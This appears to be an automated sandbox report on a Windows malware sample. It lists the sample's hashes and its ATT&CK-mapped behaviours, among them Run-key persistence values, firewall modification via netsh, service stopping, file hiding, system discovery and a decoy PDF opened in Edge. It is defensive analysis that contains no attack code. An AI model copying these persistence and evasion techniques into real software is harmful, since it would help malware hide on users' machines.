271aa48e3bea2f472a6039f0bca6e70abfda1c5abdfcccdfccd18e0dd515b15e

Analysis

max time kernel
148s
max time network
141s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/09/2026, 11:09

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
271aa48e3bea2f472a6039f0bca6e70abfda1c5abdfcccdfccd18e0dd515b15e.exe
Size 630KB
Sample260904-m9arbafa79
SHA256 271aa48e3bea2f472a6039f0bca6e70abfda1c5abdfcccdfccd18e0dd515b15e
MD5 5aae2e9e6fd087916fd205ff29d703ed
SHA1 f62c6296e9b21213ae21605ea2412027f300a032
SHA512 446dc147a01abd1d7b4f9197c5edd43a0af12374c3dab0ce50cacd0981031ac51e80f23226077cea52d8fbfff36d8385d8275c2dcfec1f72163e004cde3bc6cd
SSDEEP 12288:MANwRo+mv8QD4+0V16/C6ucY3S0vonTyvUXwbJs:MAT8QE+kGDISnmMXl
TLSH
T1F9D45B83F04130ACF8DA827769DB8A3AF1E55D4A1D435841A2B53F00FFAE6D653C469E
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence privilege_escalation

Malware Config

Signatures

Modifies Windows Firewall 2 TTPs 1 IoCs

defense_evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
6508	netsh.exe

Sets file to hidden 1 TTPs 1 IoCs

Modifies file attributes to stop it showing in Explorer etc.

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
5672	attrib.exe

Executes dropped EXE 3 IoCs

pid	Process
6532	find.exe
5380	find.exe
3412	find.exe

Loads dropped DLL 1 IoCs

pid	Process
3432	msedge.exe

Stops running service(s) 4 TTPs
defense_evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Software\Microsoft\Windows\CurrentVersion\Run\Driver Update = "C:\\Users\\Admin\\AppData\\Roaming\\Windows\\Trays\\Trays.lnk"	271aa48e3bea2f472a6039f0bca6e70abfda1c5abdfcccdfccd18e0dd515b15e.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1014449518-1831897916-4205727055-1000\Software\Microsoft\Windows\CurrentVersion\Run\Userinite = "C:\\Users\\Admin\\AppData\\Roaming\\Windows\\Run.exe"	271aa48e3bea2f472a6039f0bca6e70abfda1c5abdfcccdfccd18e0dd515b15e.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3432_1552367300\_locales\ko\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3432_1552367300\_locales\tr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3432_1552367300\_locales\hy\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3432_1552367300\_locales\es\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3432_606954593\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3432_1552367300\_locales\id\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3432_1552367300\_locales\ka\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3432_1552367300\_locales\ta\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3432_1552367300\_locales\fa\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3432_1552367300\_locales\pt_PT\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3432_1552367300\_locales\de\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3432_1614792004\keys.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3432_1552367300\_locales\az\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3432_1552367300\_locales\fil\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3432_1552367300\_locales\uz\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3432_1552367300\_locales\ur\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3432_1552367300\_locales\zh_CN\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3432_1552367300\_locales\en_GB\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3432_1552367300\_locales\pt_BR\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3432_1552367300\_locales\mn\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3432_1552367300\_locales\sl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3432_1552367300\128.png	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3432_606954593\protocols.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3432_1552367300\_locales\ro\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3432_1552367300\_locales\sr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3432_1552367300\_locales\bg\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\msedge_url_fetcher_3432_1052894022\GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_109_1_0.crx	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3432_1552367300\offscreendocument_main.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3432_1552367300\_locales\ja\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3432_1552367300\_locales\ca\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3432_1552367300\_locales\hr\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3432_1552367300\_locales\iw\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3432_1552367300\_locales\es_419\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3432_1552367300\_locales\el\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3432_1552367300\_locales\lt\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3432_1552367300\_locales\kn\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3432_1552367300\_locales\ne\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3432_1552367300\_locales\hu\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3432_1552367300\_locales\nl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3432_1552367300\_locales\sk\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3432_1552367300\_locales\zu\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3432_1552367300\_locales\ms\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3432_1552367300\service_worker_bin_prod.js	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3432_1552367300\offscreendocument.html	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3432_1552367300\_locales\gl\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3432_1552367300\_locales\eu\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3432_1552367300\_locales\pa\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3432_1552367300\_locales\it\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3432_1552367300\_locales\as\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3432_1552367300\_locales\zh_HK\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3432_1552367300\_locales\fr_CA\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3432_1552367300\_locales\lv\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3432_1552367300\_locales\sq\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3432_1552367300\_locales\is\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3432_1552367300\_locales\cy\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3432_1552367300\_locales\ru\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3432_1614792004\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3432_1184221500\domain_actions.dll	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3432_1552367300\_locales\be\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3432_1552367300\_locales\my\messages.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3432_1552367300\manifest.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3432_1552367300\_metadata\verified_contents.json	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3432_1614792004\LICENSE	msedge.exe
File created	C:\Windows\SystemTemp\chrome_Unpacker_BeginUnzipping3432_1552367300\_locales\am\messages.json	msedge.exe

Launches sc.exe 3 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
6044	sc.exe
4084	sc.exe
6572	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\NetSh	netsh.exe

Executes a command shell one-liner 1 TTPs 24 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
6532	cmd.exe
1092	cmd.exe
6572	cmd.exe
6320	cmd.exe
3680	cmd.exe
2924	cmd.exe
4076	cmd.exe
6248	cmd.exe
7080	cmd.exe
1468	cmd.exe
2468	cmd.exe
6840	cmd.exe
5972	cmd.exe
5976	cmd.exe
2488	cmd.exe
6484	cmd.exe
4860	cmd.exe
4596	cmd.exe
5824	cmd.exe
480	cmd.exe
3828	cmd.exe
3288	cmd.exe
3168	cmd.exe
2336	cmd.exe

System Location Discovery: System Language Discovery 1 TTPs 36 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PING.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	attrib.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	find.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	find.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	271aa48e3bea2f472a6039f0bca6e70abfda1c5abdfcccdfccd18e0dd515b15e.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	find.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
6072	PING.EXE

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
6848	msedge.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	msedge.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134329937742320827"	msedge.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\Deployment\Package\*\S-1-5-21-1014449518-1831897916-4205727055-1000\{AF025C17-DEAC-4A29-A3D9-820B9064F767}	msedge.exe

Runs net.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
6072	PING.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
5928	msedge.exe
5928	msedge.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 5 IoCs

pid	Process
3432	msedge.exe
3432	msedge.exe
3432	msedge.exe
3432	msedge.exe
3432	msedge.exe

Suspicious use of FindShellTrayWindow 9 IoCs

pid	Process
3432	msedge.exe
3432	msedge.exe
3432	msedge.exe
3432	msedge.exe
3432	msedge.exe
3432	msedge.exe
3432	msedge.exe
3432	msedge.exe
3432	msedge.exe

Suspicious use of SendNotifyMessage 4 IoCs

pid	Process
3432	msedge.exe
3432	msedge.exe
3432	msedge.exe
3432	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 6856 wrote to memory of 3432	6856	271aa48e3bea2f472a6039f0bca6e70abfda1c5abdfcccdfccd18e0dd515b15e.exe	90
PID 6856 wrote to memory of 7080	6856	271aa48e3bea2f472a6039f0bca6e70abfda1c5abdfcccdfccd18e0dd515b15e.exe	91
PID 3432 wrote to memory of 5060	3432	msedge.exe	93
PID 6856 wrote to memory of 6532	6856	271aa48e3bea2f472a6039f0bca6e70abfda1c5abdfcccdfccd18e0dd515b15e.exe	159
PID 3432 wrote to memory of 6848	3432	msedge.exe	96
PID 3432 wrote to memory of 5020	3432	msedge.exe	97
PID 3432 wrote to memory of 1816	3432	msedge.exe	98
PID 3432 wrote to memory of 5020	3432	msedge.exe	97
PID 3432 wrote to memory of 5020	3432	msedge.exe	97
PID 3432 wrote to memory of 1816	3432	msedge.exe	98
PID 6856 wrote to memory of 1092	6856	271aa48e3bea2f472a6039f0bca6e70abfda1c5abdfcccdfccd18e0dd515b15e.exe	100
PID 3432 wrote to memory of 1516	3432	msedge.exe	102
PID 3432 wrote to memory of 3008	3432	msedge.exe	103
PID 3432 wrote to memory of 1516	3432	msedge.exe	102
PID 3432 wrote to memory of 1516	3432	msedge.exe	102
PID 3432 wrote to memory of 3008	3432	msedge.exe	103
PID 3432 wrote to memory of 3008	3432	msedge.exe	103
PID 3432 wrote to memory of 2064	3432	msedge.exe	106
PID 3432 wrote to memory of 2064	3432	msedge.exe	106
PID 3432 wrote to memory of 2064	3432	msedge.exe	106
PID 3432 wrote to memory of 4836	3432	msedge.exe	107
PID 3432 wrote to memory of 4836	3432	msedge.exe	107
PID 3432 wrote to memory of 4836	3432	msedge.exe	107
PID 6856 wrote to memory of 1468	6856	271aa48e3bea2f472a6039f0bca6e70abfda1c5abdfcccdfccd18e0dd515b15e.exe	164
PID 6856 wrote to memory of 6572	6856	271aa48e3bea2f472a6039f0bca6e70abfda1c5abdfcccdfccd18e0dd515b15e.exe	167
PID 6856 wrote to memory of 6320	6856	271aa48e3bea2f472a6039f0bca6e70abfda1c5abdfcccdfccd18e0dd515b15e.exe	112
PID 6856 wrote to memory of 6484	6856	271aa48e3bea2f472a6039f0bca6e70abfda1c5abdfcccdfccd18e0dd515b15e.exe	114
PID 3432 wrote to memory of 4424	3432	msedge.exe	115
PID 3432 wrote to memory of 5532	3432	msedge.exe	116
PID 3432 wrote to memory of 4424	3432	msedge.exe	115
PID 3432 wrote to memory of 5532	3432	msedge.exe	116
PID 6856 wrote to memory of 4860	6856	271aa48e3bea2f472a6039f0bca6e70abfda1c5abdfcccdfccd18e0dd515b15e.exe	118
PID 6856 wrote to memory of 5672	6856	271aa48e3bea2f472a6039f0bca6e70abfda1c5abdfcccdfccd18e0dd515b15e.exe	120
PID 6856 wrote to memory of 2468	6856	271aa48e3bea2f472a6039f0bca6e70abfda1c5abdfcccdfccd18e0dd515b15e.exe	122
PID 3432 wrote to memory of 4904	3432	msedge.exe	125
PID 6856 wrote to memory of 3680	6856	271aa48e3bea2f472a6039f0bca6e70abfda1c5abdfcccdfccd18e0dd515b15e.exe	126
PID 6856 wrote to memory of 3828	6856	271aa48e3bea2f472a6039f0bca6e70abfda1c5abdfcccdfccd18e0dd515b15e.exe	128
PID 6856 wrote to memory of 3288	6856	271aa48e3bea2f472a6039f0bca6e70abfda1c5abdfcccdfccd18e0dd515b15e.exe	130
PID 6856 wrote to memory of 6840	6856	271aa48e3bea2f472a6039f0bca6e70abfda1c5abdfcccdfccd18e0dd515b15e.exe	132
PID 6856 wrote to memory of 4596	6856	271aa48e3bea2f472a6039f0bca6e70abfda1c5abdfcccdfccd18e0dd515b15e.exe	134
PID 6856 wrote to memory of 5824	6856	271aa48e3bea2f472a6039f0bca6e70abfda1c5abdfcccdfccd18e0dd515b15e.exe	136
PID 6856 wrote to memory of 2924	6856	271aa48e3bea2f472a6039f0bca6e70abfda1c5abdfcccdfccd18e0dd515b15e.exe	138
PID 6856 wrote to memory of 4076	6856	271aa48e3bea2f472a6039f0bca6e70abfda1c5abdfcccdfccd18e0dd515b15e.exe	140
PID 6856 wrote to memory of 6248	6856	271aa48e3bea2f472a6039f0bca6e70abfda1c5abdfcccdfccd18e0dd515b15e.exe	142
PID 6856 wrote to memory of 3168	6856	271aa48e3bea2f472a6039f0bca6e70abfda1c5abdfcccdfccd18e0dd515b15e.exe	144
PID 6856 wrote to memory of 5972	6856	271aa48e3bea2f472a6039f0bca6e70abfda1c5abdfcccdfccd18e0dd515b15e.exe	146
PID 6856 wrote to memory of 5976	6856	271aa48e3bea2f472a6039f0bca6e70abfda1c5abdfcccdfccd18e0dd515b15e.exe	148
PID 6856 wrote to memory of 2488	6856	271aa48e3bea2f472a6039f0bca6e70abfda1c5abdfcccdfccd18e0dd515b15e.exe	150
PID 6856 wrote to memory of 2336	6856	271aa48e3bea2f472a6039f0bca6e70abfda1c5abdfcccdfccd18e0dd515b15e.exe	152
PID 6856 wrote to memory of 480	6856	271aa48e3bea2f472a6039f0bca6e70abfda1c5abdfcccdfccd18e0dd515b15e.exe	154
PID 2336 wrote to memory of 6072	2336	cmd.exe	157
PID 480 wrote to memory of 6532	480	cmd.exe	159
PID 480 wrote to memory of 5380	480	cmd.exe	160
PID 480 wrote to memory of 3412	480	cmd.exe	161
PID 480 wrote to memory of 6508	480	cmd.exe	162
PID 480 wrote to memory of 6044	480	cmd.exe	163
PID 480 wrote to memory of 1468	480	cmd.exe	164
PID 1468 wrote to memory of 3612	1468	net.exe	165
PID 480 wrote to memory of 4084	480	cmd.exe	166
PID 480 wrote to memory of 6572	480	cmd.exe	167
PID 3432 wrote to memory of 6932	3432	msedge.exe	170
PID 3432 wrote to memory of 6680	3432	msedge.exe	171
PID 3432 wrote to memory of 7064	3432	msedge.exe	172
PID 3432 wrote to memory of 5888	3432	msedge.exe	173

Views/modifies file attributes 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
5672	attrib.exe

C:\Users\Admin\AppData\Local\Temp\271aa48e3bea2f472a6039f0bca6e70abfda1c5abdfcccdfccd18e0dd515b15e.exe
"C:\Users\Admin\AppData\Local\Temp\271aa48e3bea2f472a6039f0bca6e70abfda1c5abdfcccdfccd18e0dd515b15e.exe"
1⤵
- Adds Run key to start application
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:6856
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument C:\Users\Admin\AppData\Roaming\Windows\pdf2.pdf
  2⤵
  - Loads dropped DLL
  - Drops file in Windows directory
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:3432
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2ec,0x314,0x7ff98fa7c188,0x7ff98fa7c194,0x7ff98fa7c1a0
    3⤵
    PID:5060
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1888,i,12645843522537185745,1989346815533185990,524288 --field-trial-handle=2456,i,12773533486681207949,18074523560651902006,262144 --variations-seed-version --mojo-platform-channel-handle=2504 /prefetch:11
    3⤵
    - System Time Discovery
    PID:6848
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1572,i,1789524519635482068,5277706734856177366,262144 --field-trial-handle=2456,i,12773533486681207949,18074523560651902006,262144 --variations-seed-version --mojo-platform-channel-handle=2452 /prefetch:2
    3⤵
    PID:5020
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2312,i,11992750316248637694,4049270673042833864,524288 --field-trial-handle=2456,i,12773533486681207949,18074523560651902006,262144 --variations-seed-version --mojo-platform-channel-handle=2604 /prefetch:13
    3⤵
    PID:1816
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3468,i,3818366607833418833,8954216010657355941,2097152 --field-trial-handle=2456,i,12773533486681207949,18074523560651902006,262144 --variations-seed-version --mojo-platform-channel-handle=3556 /prefetch:1
    3⤵
    PID:1516
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3472,i,11284543222989948458,2966501649512669834,2097152 --field-trial-handle=2456,i,12773533486681207949,18074523560651902006,262144 --variations-seed-version --mojo-platform-channel-handle=3560 /prefetch:1
    3⤵
    PID:3008
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --init-isolate-as-foreground --pdf-shared-library --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4988,i,16106290297561031668,473425811585809533,2097152 --field-trial-handle=2456,i,12773533486681207949,18074523560651902006,262144 --variations-seed-version --mojo-platform-channel-handle=5000 /prefetch:9
    3⤵
    PID:2064
